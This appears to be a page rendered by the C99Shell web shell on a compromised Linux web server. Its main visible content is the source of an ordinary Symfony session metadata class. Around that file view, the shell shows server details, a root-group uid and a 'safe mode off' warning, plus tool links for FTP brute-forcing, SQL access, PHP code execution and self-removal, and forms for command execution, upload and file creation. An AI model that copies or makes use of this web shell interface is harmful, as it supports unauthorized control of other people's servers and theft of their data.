!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/http-foundation/Session/Storage/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MetadataBag.php (3.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpFoundation\Session\Storage;

use 
Symfony\Component\HttpFoundation\Session\SessionBagInterface;

/**
 * Metadata container.
 *
 * Adds metadata to the session.
 *
 * @author Drak <drak@zikula.org>
 */
class MetadataBag implements SessionBagInterface
{
    public const 
CREATED 'c';
    public const 
UPDATED 'u';
    public const 
LIFETIME 'l';

    
/**
     * @var string
     */
    
private $name '__metadata';

    
/**
     * @var string
     */
    
private $storageKey;

    
/**
     * @var array
     */
    
protected $meta = [self::CREATED => 0self::UPDATED => 0self::LIFETIME => 0];

    
/**
     * Unix timestamp.
     *
     * @var int
     */
    
private $lastUsed;

    
/**
     * @var int
     */
    
private $updateThreshold;

    
/**
     * @param string $storageKey      The key used to store bag in the session
     * @param int    $updateThreshold The time to wait between two UPDATED updates
     */
    
public function __construct(string $storageKey '_sf2_meta'int $updateThreshold 0)
    {
        
$this->storageKey $storageKey;
        
$this->updateThreshold $updateThreshold;
    }

    
/**
     * {@inheritdoc}
     */
    
public function initialize(array &$array)
    {
        
$this->meta = &$array;

        if (isset(
$array[self::CREATED])) {
            
$this->lastUsed $this->meta[self::UPDATED];

            
$timeStamp time();
            if (
$timeStamp $array[self::UPDATED] >= $this->updateThreshold) {
                
$this->meta[self::UPDATED] = $timeStamp;
            }
        } else {
            
$this->stampCreated();
        }
    }

    
/**
     * Gets the lifetime that the session cookie was set with.
     *
     * @return int
     */
    
public function getLifetime()
    {
        return 
$this->meta[self::LIFETIME];
    }

    
/**
     * Stamps a new session's metadata.
     *
     * @param int|null $lifetime Sets the cookie lifetime for the session cookie. A null value
     *                           will leave the system settings unchanged, 0 sets the cookie
     *                           to expire with browser session. Time is in seconds, and is
     *                           not a Unix timestamp.
     */
    
public function stampNew(int $lifetime null)
    {
        
$this->stampCreated($lifetime);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getStorageKey()
    {
        return 
$this->storageKey;
    }

    
/**
     * Gets the created timestamp metadata.
     *
     * @return int Unix timestamp
     */
    
public function getCreated()
    {
        return 
$this->meta[self::CREATED];
    }

    
/**
     * Gets the last used metadata.
     *
     * @return int Unix timestamp
     */
    
public function getLastUsed()
    {
        return 
$this->lastUsed;
    }

    
/**
     * {@inheritdoc}
     */
    
public function clear()
    {
        
// nothing to do
        
return null;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getName()
    {
        return 
$this->name;
    }

    
/**
     * Sets name.
     */
    
public function setName(string $name)
    {
        
$this->name $name;
    }

    private function 
stampCreated(int $lifetime null): void
    
{
        
$timeStamp time();
        
$this->meta[self::CREATED] = $this->meta[self::UPDATED] = $this->lastUsed $timeStamp;
        
$this->meta[self::LIFETIME] = $lifetime ?? (int) \ini_get('session.cookie_lifetime');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--